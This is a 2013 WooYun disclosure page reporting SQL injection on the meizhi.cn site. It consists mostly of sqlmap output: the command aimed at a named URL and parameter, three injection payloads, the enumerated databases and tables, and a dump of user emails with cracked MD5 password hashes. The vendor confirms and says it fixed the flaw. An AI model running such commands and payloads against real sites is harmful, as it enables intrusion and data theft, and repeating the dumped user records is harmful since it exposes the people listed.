当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-042117

漏洞标题:美职网主站SQL注入漏洞

相关厂商:meizhi.cn

漏洞作者: lucky

提交时间:2013-11-06 13:45

修复时间:2013-12-21 13:46

公开时间:2013-12-21 13:46

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-06: 细节已通知厂商并且等待厂商处理中
2013-11-06: 厂商已经确认,细节仅向厂商公开
2013-11-16: 细节向核心白帽子及相关领域专家公开
2013-11-26: 细节向普通白帽子公开
2013-12-06: 细节向实习白帽子公开
2013-12-21: 细节向公众公开

简要描述:

详细说明:

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://www.meizhi.cn/Index/showIndustry" --data "ajax=ajax&id=32" --level=5 --risk=3 --dbs


Place: POST
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ajax=ajax&id=32) AND 7544=7544 AND (2793=2793
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: ajax=ajax&id=32) LIMIT 1,1 UNION ALL SELECT NULL, CONCAT(0x3a6d66763a,0x46447577755454584862,0x3a6478633a), NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: ajax=ajax&id=32) AND SLEEP(5) AND (7184=7184
---
[22:08:55] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.27
back-end DBMS: MySQL 5.0.11
[22:08:55] [INFO] fetching database names
available databases [10]:
[*] information_schema
[*] meizhi
[*] meizhi_test
[*] mysql
[*] wdcpdb
Database: meizhi
[18 tables]
+--------------------+
| meizhi_article |
| meizhi_article |
| meizhi_channel |
| meizhi_channel |
| meizhi_friend_link |
| meizhi_friend_link |
| meizhi_index_focus |
| meizhi_index_focus |
| meizhi_industry |
| meizhi_industry |
| meizhi_job |
| meizhi_job |
| meizhi_place |
| meizhi_place |
| meizhi_position |
| meizhi_position |
| meizhi_user |
| meizhi_user |
+--------------------+
Database: meizhi
Table: meizhi_user
[19 columns]
+-----------------+--------------+
| Column | Type |
+-----------------+--------------+
| attention_cnt | int(6) |
| audit | tinyint(1) |
| browse_cnt | int(6) |
| channel_id | int(4) |
| email | varchar(50) |
| face | varchar(100) |
| id | int(10) |
| image_cnt | int(6) |
| index_show | tinyint(1) |
| integral_cnt | int(6) |
| invite_cnt | int(6) |
| isbind | tinyint(1) |
| last_visit_time | int(10) |
| login_cnt | int(6) |
| nick | varchar(20) |
| password | varchar(255) |
| register_time | int(10) |
| send_cnt | int(6) |
| unread_cnt | int(4) |
+-----------------+--------------+
Database: meizhi
Table: meizhi_user
[6 entries]
+----+------------+---------+----------------------------+-------+------------------+--------+--------------------------------------+----------+-----------+-----------+------------+------------+------------+------------+--------------+---------------+---------------+-----------------+
| id | channel_id | nick | face | audit | email | isbind | password | send_cnt | image_cnt | login_cnt | browse_cnt | invite_cnt | index_show | unread_cnt | integral_cnt | register_time | attention_cnt | last_visit_time |
+----+------------+---------+----------------------------+-------+------------------+--------+--------------------------------------+----------+-----------+-----------+------------+------------+------------+------------+--------------+---------------+---------------+-----------------+
| 1 | 1 | flyme | Public/Images/boxpic01.gif | 1 | 513337765@qq.com | 0 | c4ca4238a0b923820dcc509a6f75849b (1) | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1383703082 | 0 | NULL |
| 1 | 1 | flyme | Public/Images/boxpic01.gif | 1 | 513337765@qq.com | 0 | c4ca4238a0b923820dcc509a6f75849b (1) | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1383703082 | 0 | NULL |
| 2 | 1 | 123 | Public/Images/boxpic02.gif | 1 | 123 | 0 | c4ca4238a0b923820dcc509a6f75849b (1) | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1383616682 | 0 | NULL |
| 2 | 1 | 123 | Public/Images/boxpic02.gif | 1 | 123 | 0 | c4ca4238a0b923820dcc509a6f75849b (1) | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1383616682 | 0 | NULL |
| 3 | 1 | <blank> | Public/Images/boxpic03.gif | 1 | 456 | 0 | c4ca4238a0b923820dcc509a6f75849b (1) | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1383530282 | 0 | NULL |
| 3 | 1 | <blank> | Public/Images/boxpic03.gif | 1 | 456 | 0 | c4ca4238a0b923820dcc509a6f75849b (1) | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1383530282 | 0 | NULL |
+----+------------+---------+----------------------------+-------+------------------+--------+--------------------------------------+----------+-----------+-----------+------------+------------+------------+------------+--------------+---------------+---------------+-----------------+
Database: meizhi_test
[28 tables]
+-----------------------+
| meizhi_admin_column |
| meizhi_admin_user |
| meizhi_album |
| meizhi_article |
| meizhi_channel |
| meizhi_friend_link |
| meizhi_function |
| meizhi_image |
| meizhi_index_focus |
| meizhi_industry |
| meizhi_ip |
| meizhi_place |
| meizhi_resume |
| meizhi_style |
| meizhi_tag |
| meizhi_user |
| meizhi_user_collect |
| meizhi_user_comment |
| meizhi_user_education |
| meizhi_user_extend |
| meizhi_user_friend |
| meizhi_user_item |
| meizhi_user_message |
| meizhi_user_tag |
| meizhi_user_video |
| meizhi_user_vote |
| meizhi_user_work |
| meizhi_video |
+-----------------------+

漏洞证明:

修复方案:

版权声明:转载请注明来源 lucky@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-11-06 15:53

厂商回复:

感谢您的发现,美职网的程序员已紧急修复

最新状态:

暂无